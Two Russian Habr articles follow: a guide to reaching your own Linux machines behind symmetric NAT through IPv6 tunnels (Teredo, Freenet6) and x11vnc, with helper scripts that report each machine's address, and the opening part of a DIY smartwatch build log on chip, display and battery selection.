Илья Вербицкий ([blog.chivavas.org](http://blog.chivavas.org))*
Подпишись на «Хакер»
* [1 999 р. за 12 номеров бумажного варианта](http://bit.ly/habr_subscribe_paper)
* [1249р. за годовую подписку на iOS/iPad (релиз Android'а скоро!)](http://bit.ly/digital_xakep)
* [«Хакер» на Android](http://bit.ly/habr_android)
[](http://bit.ly/xakep_on_ipad) | https://habr.com/ru/post/143909/ | null | ru | null |
# Удаленная поддержка компьютера на Linux OS
#### Настройка IPv6-туннеля за симметричным NAT и удаленного управления через VNC
Не так давно я искал решение для удаленного администрирования системой на Linux. Основная проблема в том, что подключен к интернету через провайдеров, использующих симметричный NAT. То есть из internet машины не доступны. Если поискать, то можно найти некоторые программы для удаленного администрирования, но как правило они немало стоят. Опишу, как можно сделать доступ снаружи без таких программ с помощью IPv6-туннеля через gogonet и VNC.
##### Готовые программы
Просидев немало времени в поисках, нашел некоторые программы. И есть одна бесплатная для некоммерческого использования — это **TeamViewer 6** (работает через wine). Работает отлично, функций немало, но у нее есть некоторые недостатки: он сам пытается вычислить коммерческое использование и может ограничить его. Что у меня и случилось, хотя на самом деле я использовал ее только в личных целях. А также программа постоянно показывает предупреждающие о некоммерческом использовании окна, что немного мешает.
###### Запустить через Wine
Под Windows есть замечательная программа **Ammy Admin**, которая позволяет подключаться к удаленной системе через интернет и ей не мешают фаерволы и NAT. При этом она может быть установлена как сервис, что избавляет от действий на той стороне: не требуется запуск, передача новых кодов, паролей управляющей стороне, один раз настроили, подключились, разрешили.
Также можно включить звук, передавать файлы и настроить разные параметры.
Первая идея — запустить её под wine в Ubuntu. При запуске появляются ошибки, но дальше программа работает, правда только как оператор (я её так и использую для подключения win-машинам). То есть управлять машиной работающей под linux не получится.
Перепробовав разные программы под wine оказалось, что все они работают, но все с одной проблемой: программы не могут транслировать экран иксов линукса (со звуком тоже беда). Решение нужно другое.
##### Решение 1 — Teredo
###### Туннель Teredo
Некоторым повезло с провайдером и им подойдет вариант с туннелем Teredo: IPv6 через IPv4. Под ubuntu есть программа под названием **Miredo**, который создает туннель и после этого уже имеется свой IPv6-адрес. Для установки нужно просто выполнить:
`sudo apt-get install miredo`
Теперь можно посмотреть свой адрес:
````
ifconfig
...
teredo Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet6 addr: fe80::ffff:ffff:ffff/64 Scope:Link
inet6 addr: 2001:0:53aa:64c:2ca9:1bc4:9253:b1e2/32 Scope:Global
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1280 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:3 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 B) TX bytes:144 (144.0 B)
````
Можно проверить подключение по IPv6 также открыв сайт [Test-ipv6.com](http://test-ipv6.com/).
Teredo работает и через симметричный NAT, но только на исходящие подключения — достучаться снаружи не получится.
Поставив на двух машинах проверил, что сайты мой IPv6-адрес определяют нормально. Далее пробую пинговать сначала гугл:
`ping6 -n ipv6.google.com
PING ipv6.google.com(2a00:1450:4001:c01::63) 56 data bytes
64 bytes from 2a00:1450:4001:c01::63: icmp_seq=1 ttl=59 time=85.2 ms
64 bytes from 2a00:1450:4001:c01::63: icmp_seq=2 ttl=59 time=79.8 ms
64 bytes from 2a00:1450:4001:c01::63: icmp_seq=3 ttl=59 time=82.2 ms`
А потом друг друга:
`ping6 2001:0:53aa:64c:2ca9:1bc4:9253:b1e2`
**Если пинг в данном случае идет, значит NAT несимметричный и можно пользоваться teredo.**
У меня пинг не пошел и пришлось искать другой вариант.
###### Решение 2 — Freenet6
Данный туннель работает и через симметричный NAT, но тут немного всё сложнее.
Заходим на сайт [gogonet.gogo6.com](http://gogonet.gogo6.com/) и регистрируемся в gogoNET. Далее скачиваем клиент gogoCLIENT для linux. Там же регистрируемся уже для доступа к серверам. Если кто не нашел ссылку: [gogonet.gogo6.com/page/freenet6-registration](http://gogonet.gogo6.com/page/freenet6-registration)
Там есть и анонимный доступ, но я зарегистрировался и не зря. В конце статьи объясню почему.
Переходим к установке программы gogoc:
`tar -xzf gogoc-1_2-RELEASE.tar.gz
cd gogoc-1_2-RELEASE/`
Для компиляции у меня не хватает пакета libssl-dev:
`sudo apt-get install libssl-dev`
Компилируем:
`make all
sudo make installdir=/usr/local/gogoc install`
Теперь нам надо подправить конфигурацию клиента gogo:
`sudo gedit /usr/local/gogoc/bin/gogoc.conf`
В userid и passwd заполняем свои данные, полученные во время второй регистрации (там где имя, а не ящик).
Меняем сервер: `server=amsterdam.freenet6.net`
или *montreal.freenet6.net* (со стандартным иногда проблемы).
Меняем метод аутентификации: `auth_method=any`
Остальное оставляем, как есть. И можно проверять:
`cd /usr/local/gogoc/bin/
sudo ./gogoc`
Клиент нам говорит, что не знает такого сервера и спрашивает о добавлении ключа: *amsterdam.freenet6.net is an unknown host, do you want to add its key?? (Y/N)*, соглашаемся: Y.
Теперь проверяем интерфейсы командой ifconfig:
````
tun Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet6 addr: 2001:5c0:1000:b::9f29/128 Scope:Global
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1280 Metric:1
RX packets:5 errors:0 dropped:0 overruns:0 frame:0
TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:336 (336.0 B) TX bytes:56 (56.0 B)
````
Проверяем, что пинг со второго компа идет: `ping6 2001:5c0:1000:b::9f29`
Туннель готов.
##### X11VNC
Теперь для управления нужен VNC-сервер, который поддерживает IPv6.
Устанавливаем: `sudo apt-get install x11vnc`
А на подключающейся машине поставим клиент VNC — remmina: `sudo apt-get install remmina`
Запускаем x11vnc на сервере. Я запускаю такой строчкой:
`x11vnc -display :0 -forever -unixpw -noxrecord -noxfixes -ncache 10`
Такие параметры исправляют глюки с ATI (сеанс вылетал), также сервер продолжает работать после отключения клиента и используется авторизация unix.
И пробуем подключиться со второй системы через реммину, указав тип VNC и адрес 2001:5c0:1000:b::9f29.
Вот и готово первое подключение. Осталась одна проблема.
##### Автозагрузка и как узнать IPv6-адрес машины
Здесь я приведу своё решение, хотя я думаю оно далеко от идеала, но работает.
Автозагрузка gogoc после подключения интернета и перезапуск в случае завершения по ошибке с помощью shell-cкрипта, запуск которого я прописал в */etc/rc.local* строкой `/etc/autostart_gogoc &`.
Содержимое файла autostart\_gogoc:
````
#!/bin/sh
cd /usr/local/gogoc/bin
while [ true ]; do
gogoc=`ps ax|grep gogoc|grep -P -o "\d:\d\d\s\./gogoc"`
if [ "$gogoc" = "" ]; then
#echo "Процесс gogoc не найден, запускаем"
IP="0"
while [ $IP = "0" ]
do
ping -c 3 www.ya.ru
if [ $? -eq 0 ]; then
echo "pinged_ok"
IP="OK"
fi
sleep 10
done
./gogoc
fi
#echo "Ждем"
sleep 10
done
````
Можно убрать комментарии перед эхо и, запустив от рута (через sudo), посмотреть, как работает.
Для автозагрузки x11vnc я добавил команду (см. выше) в автозапуск (Startup Applications).
Далее, чтобы узнавать текущий IP, я сделал следующее (каждый может придумать свой вариант).
1. Скрипт на PHP, который лежит на одном из моих сайтов и сохраняет присланные ip-адреса в текстовый документ:
`php<br/
$d=$_POST['data'];
$x=implode("",file("ipsforme.txt"));
$y=array();
$y=explode("\r\n",$x);
$d=date("d-m-Y H:i ").$d;
array_unshift($y,$d);
if (count($y)>200) {
array_splice($y,190);
}
$z=implode("\r\n",$y);
$a=fopen("ipsforme.txt","w");
fputs($a,$z);
fclose($a);
echo "OK";
?>`
2. Скрипт на PHP, через который я смотрю собранное:
`Мои IP
**Мои адреса:**
---
<br/
#myipsview.php
$x=implode("",file("ipsforme.txt"));
$x=str\_replace("\r","",$x);
$x=str\_replace("\n","
",$x);`
3. Cкрипт на python, который постоянно работает и при изменении ip-адреса отправляет его на сервер вместе с именем машины (работает и под Windows, только python 2.6 установить надо):
```
#!/usr/bin/python2.6
# -*- coding: utf-8 -*-
import sys
import re
import os
from socket import *
import subprocess
from httplib import HTTPConnection
import time
print "##########################################################"
print "\n\n\n\n\n\n"
lastinfo=""
#sss=raw_input('pausa')
print "Start Cycle"
while 1:
retcode = os.spawnlp(os.P_WAIT, "sh", "sh", "-c", "uname -n >/home/andrey/sendipinfo.txt")
retcode = os.spawnlp(os.P_WAIT, "sh", "sh", "-c", "/sbin/ip addr show dev tun | grep inet6 >>/home/andrey/sendipinfo.txt")
f=file('/home/andrey/sendipinfo.txt','r')
lines=f.readlines()
f.close()
s=''
for line in lines:
line=line.strip('\n')
s=s+' = '+line
print s
if (lastinfo != s) and (re.search('inet6.*\w{1,4}:\w{0,4}(:\w{0,4})+',s)):
print "Закачка"
lastinfo=s
BOUNDARY="$Python-Essential-Reference$"
CRLF='\r\n'
closing='--'+BOUNDARY+"--\r\n"
server='www.armavirportal.ru:80'
xname='data'
xvalue=s
section = ['--'+BOUNDARY,'Content-disposition: form-data; name=%s' % xname,'',xvalue]
st=CRLF.join(section)+CRLF
content_size=len(st)+len(closing)
conn = HTTPConnection(server)
conn.putrequest('POST','/myips.php')
conn.putheader('Content-type','multipart/form-data; boundary=%s' % BOUNDARY)
conn.putheader('Content-length', str(content_size))
conn.endheaders()
conn.send(st)
conn.send(closing)
r = conn.getresponse()
responsedata = r.read()
conn.close()
print "GET RESPONSE: "+responsedata
time.sleep(10)
print "неожиданный конец"
```
Вывод print можно везде убрать при использовании, т.к. я его делал для проверки.
Для его запуска с загрузкой иксов, я также добавил в автозапуск команду:
`sh -c /home/andrey/sendip.py`
##### Что имеем
Теперь у меня три системы на Ubuntu (Mint), которые при подключении к интернету автоматически восстанавливают туннель, и отправляют адрес на мой сайт, который я могу в любое время посмотреть. Да это добавляет лишние действия, но эта система бесплатна и работает.
Результат работы выглядит так (http://www.armavirportal.ru/myipsview.php):
25-08-2011 19:30 = andrey = inet6 addr: 2001:5c0:1400:b::acdd/128 Scope: Общий
25-08-2011 14:11 = neo = inet6 addr: 2001:5c0:1400:a::1665/128 Scope: Общий
25-08-2011 14:07 = neo = inet6 addr: 2001:5c0:1400:a::11b7/128 Scope: Общий
25-08-2011 09:46 = neo = inet6 addr: 2001:5c0:1400:a::1677/128 Scope: Общий
25-08-2011 09:31 = neo = inet6 addr: 2001:5c0:1400:a::74d/128 Scope: Общий
25-08-2011 08:43 = neo = inet6 addr: 2001:5c0:1400:a::459/128 Scope: Общий
24-08-2011 23:03 = neo = inet6 addr: 2001:5c0:1000:a::233/128 Scope: Общий
24-08-2011 10:26 = neo = inet6 addr: 2001:5c0:1000:a::90f/128 Scope: Общий
22-08-2011 11:18 = = IPv6-адрес............: 2001:5c0:1400:a::819(Основной)
22-08-2011 11:18 = = IPv6-адрес............: 2001:5c0:1400:a::819(Пробный)
Последние две строчки из Windows.
##### Можно проще
Когда писал эту статью, то еще не знал про одну особенность. Когда мы регистрируемся на freenet6, то дополнительно получаем адрес вида ***username*.broker.freenet6.net**, то есть ipv6 адрес можно и не знать, а подключаться прямо по имени. Регистрируем на каждую ось, где будет туннель отдельный аккаунт freenet6 (при этом можно под одним аккаунтом на gogo6) и будут адреса под каждую систему.
Можно проверить созданный туннель теперь просто по имени:
`ping6 virtustilus5.broker.freenet6.net`
А также посмотреть его на странице [ipv6-test.com](http://ipv6-test.com/), где его я собственно и увидел.
**В результате скрипт python и php на сайте больше не нужны.**
##### VNC IPv6 под Windows
Туннель поднимается еще быстрее и проще, чем в линуксе через gogoCLIENT.
Под Windows пока не нашел бесплатного VNC-сервера с поддержкой IPv6.
Клиент VNC с IPv6 под Windows [Enhanced TightVNC Viewer](http://ssvnc.sourceforge.net/) работает отлично. Отключаю проверку сертификатов, вписываю адрес компа и connect.
[Teredo](http://ru.wikipedia.org/wiki/Teredo)
[gogo6](http://gogonet.gogo6.com/)
[Документация Python: httplib](http://docs.python.org/library/httplib.html)
[TeamViewer](http://www.teamviewer.com/)
[AmmyAdmin](http://www.ammyy.com/ru/)
[Join.me](https://join.me/)
[Miredo](http://www.remlab.net/miredo/)
[Enhanced TightVNC Viewer](http://ssvnc.sourceforge.net/)
[ipv6-test.com](http://ipv6-test.com/)
[другой test-ipv6.com](http://test-ipv6.com/) | https://habr.com/ru/post/127405/ | null | ru | null |
# Очередные умные часы своими руками
[](https://geektimes.ru/post/290357/)
Вдохновившись некоторое время назад статьей [«Умные часы своими руками за 1500р.»](https://geektimes.ru/post/258490/), я тоже решил попробовать сделать подобный девайс.
Эта статья не позиционируется как руководство к действию или инструкция, скорее как указание на ключевые моменты, с которыми мне пришлось столкнуться. Быть может, кому-то она послужит источником вдохновения и полезной информации.
Подбор компонентов, разводка платы, пайка в суровых условиях, 3D-печатный корпус и JavaScript на часах — под катом. Welcome!
Требования
----------
* Нужно узнавать время без необходимости лезть в карман за телефоном
* Должен быть приём оповещений о входящих звонках, SMS и уведомлениях из мессенджеров
* Срок автономной работы должен быть минимум неделя
* Быть как можно компактнее
Уже исходя из этого небольшого списка требований, можно приступать к выбору компонентов и уточнению технических особенностей реализации. Бюджет проекта по времени и финансам не был особо ограничен, серийное производство не планировалось, поэтому можно было позволить себе разгуляться и не сильно париться над экономией каждой копейки.
Кроме хотелок общего плана были ещё и сугубо технические:
* Создание и запуск на часах пользовательских приложений. Как у [Pebble](https://www.pebble.com/). Вообще, здесь и далее часы всё больше будут напоминать клон Pebble, но почему бы и нет
* Память для приложений и их данных
* Адекватный контроль уровня зарядки, чтобы часы не вырубались внезапно при разряде аккумулятора, а показывали «палочки» и предупреждали заранее
* Акселерометр, гироскоп и магнетометр для полноценного отслеживания движения пользователя. Чтобы была возможность сделать шагомер или смарт-будильник, следящий за фазами сна по наличию движения
Всё это в итоге кристаллизовалось в небольшую диаграмму:
*Микроконтроллер объединяет вместе BLE 4.x для связи со смартфоном, шины I²C и SPI для датчиков и дисплея с памятью, управляет вибрацией и реагирует на нажатия кнопок, всё питается от Li-Po аккумулятора.*
Теперь можно начать процесс выбора чипов и деталей. По трудоёмкости и потраченному времени это был самый сложный и долгий процесс, нужно было много чего сравнить, искать, и погрузиться с головой туда, где раньше не плавал.
Выбор компонентов
-----------------
### Микроконтроллер
Первым делом необходимо выбрать контроллер, который будет "мозгом" устройства и всё остальное на плате будет служить ему во благо.
Чтобы устройство получилось компактнее, необходимо использовать как можно меньше компонентов и модулей. Здесь на помощь приходят различные [системы на кристалле](http://www.argenox.com/bluetooth-low-energy-ble-v4-0-development/library/a-guide-to-selecting-a-bluetooth-chipset/), которые объединяют в себе функционал bluetooth-модуля и микроконтроллера.
**Что нам предлагает рынок**
*Источник: [www.argenox.com](http://www.argenox.com)*
* **[Cypress PSoC BLE](http://www.cypress.com/products/psoc-4-ble-bluetooth-smart)** ядро ARM Cortex-M0, BLE 4.2, 256kB FLASH, 32kB RAM, куча периферии и встроенный [балун](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%BB%D1%83%D0%BD), широкий диапазон напряжения питания: 1.9-5 вольт
* **[Texas Insturments CC2541](http://www.ti.com/product/CC2541)** — BLE 4.0 и 8051-ядро, 256kB FLASH, 8kB RAM
* **[Texas Instruments CC2640](http://www.ti.com/product/cc2640)** — BLE 4.1, Cortex-M3, 128kB FLASH, 20kB RAM
* **[Dialog DA-14580](http://www.dialog-semiconductor.com/products/bluetooth-smart/smartbond-da14580)** — Cortex-M0, BLE 4.1, 16 MHz, 42+8kB RAM, 32kB OTP (однократно программируемая память, но есть возможность запускать код с внешней SPI FLASH), самый крохотный и мало потребляющий чип из перечисленных
* **[SiLabs EFR32](http://www.silabs.com/products/wireless/bluetooth/blue-gecko-bluetooth-low-energy-socs)** — Cortex-M4F, 40 MHz, BLE 4.x, Bluetooth 5, до 1MB FLASH, до 256kB RAM
* **[Nordic nRF52832](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF52832)** — Cortex-M4F, 64MHz, BLE 4.x, Bluetooth 5, 512kB FLASH, 64kB RAM, эмуляция NFC-меток, [балун](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%BB%D1%83%D0%BD) встроен
В куче вкусных и не очень решений выбор пал на **[nRF52832](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF52832)**, этот чип оказался самым производительным и довольно удобным в плане корпуса (6x6mm 48-pin QFN). Также шикарной опцией, сильно упрощающей разводку платы, является возможность программно назначить любую периферию на любой из GPIO-выводов. Это то, чего так не хватает многим микроконтроллерам. Благодаря поддержке NFC можно добавить к часам функционал NFC-эмулятора и зашить в часы все свои карточки-пропуска.
В даташите написано, что есть встроенный RTC (часы реального времени), это удобно. Но впоследствии оказалось, что это не часы, а Real-Time *Counter*, т.е. это самый обычный таймер, работающий от кварца 32.768kHz в том числе и в спящем режиме. Поэтому в следующей ревизии устройства я буду использовать отдельный чип для RTC, например [STMicroelectronics M41T62LC6F](https://upverter.com/datasheet/d2837151c353bfff89b57d8d29a666d4ecdb9096.pdf). Он имеет встроенный кварц на 32.768kHz и работает по интерфейсу I²C.
Отладочная плата [nRF52-DK](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF52-DK) стоит довольно [дёшево](https://www.elitan.ru/price/item12323248), порядка 4тыс. рублей. На Aliexpress можно найти и за ~3тыс.
**Кстати**
Так как устройство не предполагает серийного производства и какой-либо рыночной продажи, то рисовать свою плату и строить своё решение на BLE SoC довольно увлекательное занятие без серьёзных последствий. Для тех же, кто хочет поскорее выйти на рынок, рекомендуется использовать [готовые пред-сертифицированные модули](http://www.emcfastpass.com/rf-modules/).
Причин здесь несколько и связаны они с радио: для любого нового электронного устройства на рынке необходимо получать разрешение и проходить сертификацию у таких регуляторов как [CE](http://ec.europa.eu/growth/single-market/ce-marking/) и [FCC](https://www.fcc.gov/).
Сопутствующие радости включают в себя особую разводку платы с учётом особенностей распространения сигналов с частотой 2.4ГГц, экранирование, замеры в безэховой камере, согласование импеданса и прочую СВЧ-магию. В готовых модулях вся эта работа уже проделана их разработчиками, пользователю достаточно встроить модуль в своё решение и сертифицировать ничего уже не нужно.
### Кварцевые резонаторы
К выбранному чипу nRF52832 подключаются кварцевые резонаторы:
1. На 32MHz для тактирования ядра и радио, обязателен
2. На 32.768kHz для тактирования часового таймера и тайм-слотов BLE во время спящего режима. Необязателен, но его подключение уменьшает энергопотребление (тайм-слоты можно делать короче) и увеличивает точность хода часового таймера RTC.
Оба вида кварцев заказаны в корпусе для поверхностного монтажа с Aliexpress:
**Изображение**
### Дисплей
Чтобы часики тикали без подзарядки хотя бы неделю напролёт, необходимо решить проблему того, что матрица дисплея в рабочем режиме потребляет много тока. Насколько я понял, производители часов решают эту проблему двумя способами:
1. Включать дисплей и отображать содержимое только тогда, когда происходит взмах руки и экран часов попадает в поле зрения пользователя, либо когда внимание пользователя уже привлечено, например, уведомлением или будильником
2. Отображать содержимое постоянно, используя дисплеи, которые практически не потребляют тока на отображение картинки, а потребляют его только на обновление содержимого. За примерами далеко ходить не надо: это [e-ink](https://en.wikipedia.org/wiki/E_Ink), [Memory LCD](https://www.sharpsma.com/products?sharpCategory=Memory%20LCD&p_p_parallel=0) либо [IMOD/mirasol](https://en.wikipedia.org/wiki/Interferometric_modulator_display)
**Что нам предлагает рынок**
Для варианта, когда дисплей большую часть времени представляет собою труд Малевича, на рынке есть такие варианты: OLED, TFT, Amoled, телефонные модули LCD (Nokia, Siemens, etc.). Остаётся подыскать дисплей с подходящей диагональю.
Примеры:
* [Маленькие OLED-дисплеи](https://www.sparkfun.com/products/13003), на Ali Express такие стоят копейки.
Минусов куча: маленькая диагональ, монохромный, потребление 10-20mA, громоздкий модуль. Без платы модуля — широченный шлейф и море обвязки, что поглотит значительный кусок площади на плате.
* TFT LCD, например [ILI9341](http://we.easyelectronics.ru/aliaksei/tft-indikator-na-ili9341.html). Из минусов: потребление, широкий шлейф
Экраны на E-Ink отпали сразу, потому что слишком медленная скорость обновления экрана, монохромность и, скорее всего, трудно найти в открытой продаже достаточно маленький E-Ink дисплей.
Если взглянуть на [Pebble](https://www.pebble.com/), то можно увидеть, что он использует именно "Always on"-дисплей. Pebble Classic использует монохромный [SHARP Memory LCD](http://www.mouser.com/catalog/specsheets/LS013B7DH01_16_AUG_10.PDF) дисплей, Pebble Time использует цветой (64 цвета) дисплей по похожей технологии, но производимый [JDI](http://www.j-display.com/), в открытой продаже он отсутствует.
По поводу IMOD/Mirasol, ничего кроме маркетинговых брошюр и [часов Toq от Qualcomm](https://www.qualcomm.com/news/releases/2013/09/04/qualcomm-launches-qualcomm-toq-smartwatch-featuring-mirasol-display) найти не удалось.
Захотелось взять цветной дисплей как у Pebble Time. Наиболее близким аналогом, который находится в открытой продаже, стал [SHARP LS013B7DH06](https://www.sharpsde.com/products/displays/model/LS013B7DH06/) ([его даташит](https://cdn.sharpsde.com/fileadmin/products/Displays/Specs/LS013B7DH06_09Jan15_Spec_LD-27103A.pdf)).
Характеристики:
* Диагональ 1.33"
* Разрешение: 128х128, 8 цветов (3 бита на пиксель)
* Размеры: 26.82x31.3mm
* Интерфейс: SPI
* Напряжение питания: 5V, но логические уровни SPI от 2.7V
С напряжением питания получилась засада, так как от Li-Po аккумулятора не получить требуемые 5V напряжения без дополнительных повышающих преобразователей. Но ток у дисплея мизерный и получить нужные 5V довольно просто с помощью charge pump типа [Linear LTC1754-5](https://upverter.com/datasheet/ab660cabaede81ded263bac5d547aaa0caa4bb70.pdf):
Ещё одной особенностью стала необходимость хотя бы раз в секунду переключать состояние пина EXTCOMIN (External COM Inversion) с высокого уровня на низкий и наоборот, чтобы на панели экрана не накапливался заряд и картинка в один прекрасный момент не застыла на месте. Для этих целей можно утилизировать встроенный PWM (ШИМ) микроконтроллера, настроенный на скважность 50% (меандр) и на частоту 1Hz или выше, либо любой другой (в том числе и внешний) генератор меандра.
Дисплей соединяется с платой с помощью небольшого шлейфа, очень удобно при этом использовать FPC-коннектор на 10 выводов с шагом 0.5mm, например [Hirose FH12-10S-0.5SH](http://datasheet.octopart.com/FH12-10S-0.5SH%2855%29-Hirose-datasheet-509026.pdf):
Модуль дисплея не обладает своей подсветкой и не просвечивается светодиодами насквозь как обычный жидкокристаллический экран, поэтому пока что часы у нас без подсветки и ночью время не посмотреть. *Если кто-то знаком с процессом создания модуля подсветки для такого рода экранов, прошу отозваться.*
### Аккумулятор
Пришлось потратить некоторое время на то, чтобы выбрать подходящий по размерам аккумулятор из стандартной номенклатуры размеров. Искал литий-полимерный аккумулятор с напряжением 3.7V и с ёмкостью примерно 100mAh.
Аккумулятор планировалось размещать под платой, зная размеры платы, можно легко подобрать аккумулятор, который будет подходить и ничего не будет выпирать.
**Что предлагает рынок**
На Aliexpress можно заказать целую уйму аккумуляторов почти на любой размер, главное знать систему кодирования их названий. А она такая: HHWWLL, где HH — толщина (высота) аккумулятора в десятых долях миллиметра, WW — его ширина и LL — его длина в миллиметрах.
Пример: 402025 — аккумулятор толщиной 4mm и размерами 20x25mm
Были выбраны аккумуляторы **302025** (3x20x25mm) ёмкостью 110mAh и заказаны на Aliexpress.
### Питание
Так как литий-полимерные аккумуляторы имеет смысл разряжать только до 3 вольт, то было решено питать всю схему от стабилизированных 3V и если напряжение на батарее опустилось ниже 3V, то отрубать главный регулятор питания микросхемой защиты ([Maxim MAX809TEUR+T](http://datasheet.octopart.com/MAX809TEUR%2BT-Dallas-Semiconductor-datasheet-8516909.pdf)).
Общее напряжение питания в 3V укладывается в диапазоны питания всех элементов схемы, кроме дисплея, которому нужно 5V. Поэтому дисплей питается через повышающий преобразователь [Linear LTC1754-5](https://upverter.com/datasheet/ab660cabaede81ded263bac5d547aaa0caa4bb70.pdf) напрямую от батареи.
Если взглянуть на кривую разряда такого типа аккумуляторов,
то видно, что вся ёмкость аккумулятора приходится на диапазон напряжений от ~4V до 3V, поэтому обычного понижающего преобразователя на 3V будет достаточно, чтобы обеспечивать систему стабильным напряжением и при этом эффективно высосать всю энергию из аккумулятора, не оставив ничего, но и не переразрядив его.
В качестве понижающего преобразователя был выбран [Texas Instruments TPS78230DRVT](http://www.ti.com/lit/ds/symlink/tps782.pdf), он обладает маленьким рабочим током в 500nA и максимальным током в 150mA, чего вполне достаточно. Корпус SON-6 компактный и довольно паябельный:
### Зарядка аккумулятора
Зарядку аккумулятора было решено производить через стандартный microUSB-порт ([Molex 47346-0001](http://www.molex.com/pdm_docs/sd/473460001_sd.pdf)), но не достаточно просто подключить аккумулятор прямо к шине 5V от USB и так заряжать, необходимо обеспечить правильный процесс зарядки, разбитый на несколько фаз: preconditioning, constant current, constant voltage.
**Типовой профиль зарядки для 180mAh аккумулятора**
**Хорошее объяснение процесса зарядки на EEVBlog**
Популярным решением для зарядки аккумуляторов небольшой ёмкости (до 500mAh) является микросхема [Microchip MCP73831](http://www.microchip.com/wwwproducts/en/en024903). Ток зарядки (зависит от ёмкости аккумулятора) программируется резистором, присутствует tri-state или open-drain выход для уведомления о начале и окончании процесса зарядки.
Мною же была выбрана другая микросхема — [Maxim MAX1555EZK-T](https://upverter.com/datasheet/bc21cf93772d32daae1754f1242cc250817b8a64.pdf). Она имеет фиксированный ток зарядки в 100mAh и имеет тот же корпус, что и микросхема от Microchip и при этом требует минимум внешних компонентов и обладает open-drain выходом для оповещения о процессе зарядки:
**Картинка из даташита**
В следующей ревизии платы всё-таки переключусь на микросхему от Microchip, потому что зарядный ток в 100mA для 110mAh аккумулятора это, возможно, многовато.
### Контроллер ёмкости аккумулятора
Существует несколько разных по исполнению и точности итогового результата техник по отслеживанию степени заряженности аккумулятора (в англоязычных источниках это называют State of Charge):
**Список**
1. Измерять т.н. open circuit voltage/OCV (напряжение на обкладках) батареи через АЦП и делать вывод о ёмкости аккумулятора. Чаще всего требуется перенести диапазон напряжений в область, которая приемлема для работы АЦП с помощью делителя напряжения. Минусы этого подхода в том, что график зависимости напряжения от ёмкости у литий-полимерных аккумуляторов довольно пологий, а так же сами показания изменяются с каждым циклом и подвержены действию шумов и принципиальной невозможности измерить истинное напряжение на обкладках из-за влияния тока нагрузки
2. Другой способ это вместо измерения напряжения на обкладках измерять ток, который втекает в аккумулятор и вытекает из него. Это так называемый coulomb counting. Типовое решение это интегрирование значения падения напряжения на шунтирующем резисторе небольшого сопротивления (около 100mOhm). Зная ёмкость аккумулятора, по току, который из него вытек за определённый период времени, можно сделать вывод о том, сколько ещё энергии осталось в аккумуляторе (пренебрегая саморазрядом). Минусы этого подхода в том, что не учитывается саморазряд, а так же то, что истинная ёмкость аккумулятора изменяется с каждым циклом заряда-разряда. Грубо говоря, из аккумулятора вытекает меньше тока, чем втекает в него при зарядке. Из-за этого, со временем, неизбежно будет накапливаться ошибка в показаниях
3. Комбинирование первого и второго способов: измерение и напряжения на обкладках и протекающего тока. Грамотное комбинирование двух подходов поможет построить модель, которая будет с хорошей точностью оценивать ёмкость аккумулятора. Для того, чтобы этот подход заработал, необходимо произвести как минимум один цикл заряд-разряд для сбора данных о зависимости напряжения на обкладках от ёмкости. Причём каждый следующий цикл должен будет вносить изменения в модель аккумулятора так, чтобы ошибка не накапливалась. Есть статьи, в которых люди рассказывают, как с помощью фильтра Калмана объединяли данные разных измерений для предсказания оставшегося заряда ([[1]](http://www.mdpi.com/1996-1073/8/8/7854/pdf), [[2]](https://pdfs.semanticscholar.org/f47a/64d70a149571b3308fdbf1cab3fb2cecae9c.pdf))
**Что нам предлагает рынок**
* **[Maxim MAX17043](https://datasheets.maximintegrated.com/en/ds/MAX17043-MAX17044.pdf)** — с помощью [проприетарного алгоритма](https://www.maximintegrated.com/en/design/partners-and-technology/design-technology/modelgauge-battery-fuel-gauge-technology.html) по напряжению на обкладках строит внутри себя модель аккумулятора. Обещает точность измерения оставшегося заряда в 3%. Интерфейс I²C. Неплохой и маленький корпус
* **[OnSemi LC709203F](http://www.onsemi.com/pub/Collateral/LC709203F-D.PDF)** — измеряет OCV, интерфейс I²C, точность в 2.8%, есть температурная компенсация через внешний термистор. Дорого и плохо достаётся в России
* **[Texas Instruments BQ27621](http://www.ti.com/product/bq27621-g1)** — измеряет напряжение на обкладках, I²C, точность не указана, стоит дорого, корпус BGA
* **[Texas Instruments BQ27421](http://www.ti.com/product/bq27421-g1)** — одновременно измеряет напряжение и протекающий ток. Интерфейс I²C, точность не указана, стоит дорого, корпус BGA
* **[Linear LTC2941](http://www.linear.com/product/LTC2941)** — измеряет протекающий ток, интерфейс I²C, точность 1%, требует дополнительно внешний шунтирующий резистор (в LTC2941-1 он встроенный), корпус: 2x3mm DFN-6
Из доступных вариантов была выбрана микросхема [Linear LTC2941](http://www.linear.com/product/LTC2941) за самый маленький, но паябельный корпус и внятный алгоритм работы. Заказана на Aliexpress.
**Картинка из даташита**
*Источник: Linear Technology*
Микросхема использует технику coulomb counter-а и считает протекающий ток с точностью в 1%, работает по интерфейсу I²C (SMBus) и обладает маленьким, но удобным корпусом: 2x3mm DFN-6:
Через I²C внутри микросхемы можно задать значение предделителя счётчика тока, а так же задать или прочитать значение самого счётчика. Счётчик 16-битный и увеличивается тогда, когда ток течёт в батарею и уменьшается, когда ток из батареи вытекает. Максимальное значение счётчика (0xFFFF) можно принять за полностью заряженную батарею, а минимальное (0x0000) за полностью разряженную. При удачно подобранном предделителе счётчика можно добиться того, что счётчик дойдёт до максимума в процессе зарядки, и дойдёт до нуля при полном разряде аккумулятора. Есть возможность задать границу значения счётчика, ниже которой микросхема будет бить тревогу и выдаст прерывание.
### Акселерометр
Среди кучи вариантов на рынке был выбран довольно популярный чип: [InvenSense MPU-9250](https://upverter.com/datasheet/ffc6bd20b4c62978464853d19c008025374756da.pdf). Это система в корпусе (SiP), совмещающая в себе MEMS-Акселеромер, MEMS-гироскоп и чип магнетометра.
**Характеристики**
